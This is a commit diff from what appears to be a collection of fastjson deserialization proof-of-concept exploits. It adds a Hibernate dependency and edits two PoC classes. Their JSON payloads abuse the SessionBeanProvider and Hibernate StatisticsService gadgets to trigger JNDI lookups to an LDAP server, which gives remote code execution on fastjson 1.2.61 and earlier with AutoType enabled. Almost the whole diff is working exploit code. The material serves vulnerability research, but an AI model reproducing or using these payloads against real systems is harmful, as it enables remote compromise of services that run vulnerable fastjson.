File tree Expand file tree Collapse file tree 3 files changed +34
-5
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 3 files changed +34
-5
lines changed Original file line number Diff line number Diff line change 158158 <artifactId >commons-proxy</artifactId >
159159 <version >1.0</version >
160160 </dependency >
161+
162+ <!-- hibernate -->
163+ <dependency >
164+ <groupId >org.hibernate</groupId >
165+ <artifactId >hibernate</artifactId >
166+ <version >3.2.1.ga</version >
167+ <exclusions >
168+ <exclusion >
169+ <groupId >javax.transaction</groupId >
170+ <artifactId >jta</artifactId >
171+ </exclusion >
172+ <exclusion >
173+ <groupId >asm</groupId >
174+ <artifactId >asm</artifactId >
175+ </exclusion >
176+ <exclusion >
177+ <groupId >asm</groupId >
178+ <artifactId >asm-attrs</artifactId >
179+ </exclusion >
180+ <exclusion >
181+ <groupId >cglib</groupId >
182+ <artifactId >cglib</artifactId >
183+ </exclusion >
184+ </exclusions >
185+ </dependency >
161186 </dependencies >
162187
163188 <build >
Original file line number Diff line number Diff line change 33import com .alibaba .fastjson .JSON ;
44import com .alibaba .fastjson .parser .ParserConfig ;
55import com .threedr3am .bug .server .LdapServer ;
6+ import com .threedr3am .bug .server .RmiServer ;
67import java .util .Collection ;
8+ import org .apache .commons .proxy .provider .remoting .RmiProvider ;
79
810/**
911 * fastjson <= 1.2.61 RCE,需要开启AutoType
@@ -22,18 +24,20 @@ public class CommonsProxyPoc {
2224
2325 public static void main (String [] args ) {
2426 //TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
25- System .setProperty ("com.sun.jndi.rmi.object.trustURLCodebase" ,"true" );
26-
27+ // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
2728
2829 ParserConfig .global .setAutoTypeSupport (true );
2930
3031// String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://localhost:43657/Calc\"}";
3132 String payload = "{\" @type\" :\" org.apache.commons.proxy.provider.remoting.SessionBeanProvider\" ,\" jndiName\" :\" ldap://localhost:43658/Calc\" ,\" Object\" :\" a\" }" ;
33+
3234 try {
33- JSON .parse (payload );
35+ JSON .parseObject (payload );
3436 } catch (Exception e ) {
3537 e .printStackTrace ();
3638 }
37- JSON .parse (payload );
39+
40+
41+ JSON .parseObject (payload );
3842 }
3943}
Original file line number Diff line number Diff line change @@ -24,7 +24,7 @@ public static void main(String[] args) {
2424 ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
2525
2626// String payload = "{\"@\\u0074ype\":\"org.apache.commons.configuration.JNDIConfiguration\",\"jndiLocation\":\"ldap://localhost:43658/Calc\"}";//ldap方式
27- String payload = "{\" @type\" :\" org.apache.commons.configuration.JNDIConfiguration \" ,\" jndiLocation \" :\" ldap://localhost:43658/Calc\" }" ;//ldap方式
27+ String payload = "{\" @type\" :\" org.hibernate.jmx.StatisticsService \" ,\" sessionFactoryJNDIName \" :\" ldap://localhost:43658/Calc\" }" ;//ldap方式
2828 JSON .parse (payload );
2929 }
3030}
You can’t perform that action at this time.
0 commit comments